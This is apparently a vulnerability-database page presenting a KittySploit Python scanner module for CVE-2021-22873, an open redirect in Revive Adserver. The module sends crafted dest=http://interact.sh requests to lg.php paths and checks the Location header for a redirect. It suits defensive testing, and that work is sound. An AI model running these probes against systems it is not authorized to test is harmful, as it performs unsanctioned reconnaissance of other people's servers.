Lucene search
+L

Revive Adserver <5.1.0 - Open Redirect Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Open redirect in Revive Adserver via dest, oadest, and ct0 parameters in lg.php and ck.php.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Open Redirect in Revive-Adserver Revive_Adserver
22 Jul 202321:49
–githubexploit
attackerkb
attackerkb
CVE-2021-22873
26 Jan 202118:16
–attackerkb
circl
Circl
CVE-2021-22873
27 Apr 202309:58
–circl
cnnvd
CNNVD
Revive Adserver 输入验证错误漏洞
24 Jan 202100:00
–cnnvd
cnvd
CNVD
Revive Adserver Input Validation Error Vulnerability (CNVD-2021-23389)
1 Feb 202100:00
–cnvd
cve
CVE
CVE-2021-22873
21 Jan 202119:14
–cve
cvelist
Cvelist
CVE-2021-22873
21 Jan 202119:14
–cvelist
hackerone
Hacker One
Revive Adserver: Open redirect in ck.php and lg.php
19 Jan 202112:51
–hackerone
kitploit
Kitploit
CVE-2021-22873-EXPLOIT
1 Oct 202614:15
–kitploit
mend
Mend
CVE-2021-22873
21 Jan 202119:14
–mend
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Revive Adserver before 5."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Revive Adserver <5.1.0 - Open Redirect Detection',
        'description': 'Revive Adserver before 5.1.0 contains an open redirect vulnerability via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'hackerone', 'seclists', 'packetstorm', 'redirect', 'revive', 'revive-adserver', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 6,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://hackerone.com/reports/1081406',
            'https://github.com/revive-adserver/revive-adserver/issues/1068',
            'http://seclists.org/fulldisclosure/2021/Jan/60',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-22873',
            'http://packetstormsecurity.com/files/161070/Revive-Adserver-5.0.5-Cross-Site-Scripting-Open-Redirect.html',
        ],
        'cve': 'CVE-2021-22873',
    }

    def run(self):
        for path in ('/ads/www/delivery/lg.php?dest=http://interact.sh', '/adserve/www/delivery/lg.php?dest=http://interact.sh', '/adserver/www/delivery/lg.php?dest=http://interact.sh', '/openx/www/delivery/lg.php?dest=http://interact.sh', '/revive/www/delivery/lg.php?dest=http://interact.sh', '/www/delivery/lg.php?dest=http://interact.sh'):
            r = self.http_request(method="GET", path=path, allow_redirects=True)
            if not r or r.status_code != 200:
                continue
            headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
            header_regexes = ('(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$',)
            if (any(re.search(rx, headers, 0) for rx in header_regexes)):
                self.set_info(
                    severity='medium',
                    reason="Revive Adserver <5.1.0 - Open Redirect detected",
                    path=path,
                )
                return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 25.8
CVSS 3.16.1
EPSS0.69561
3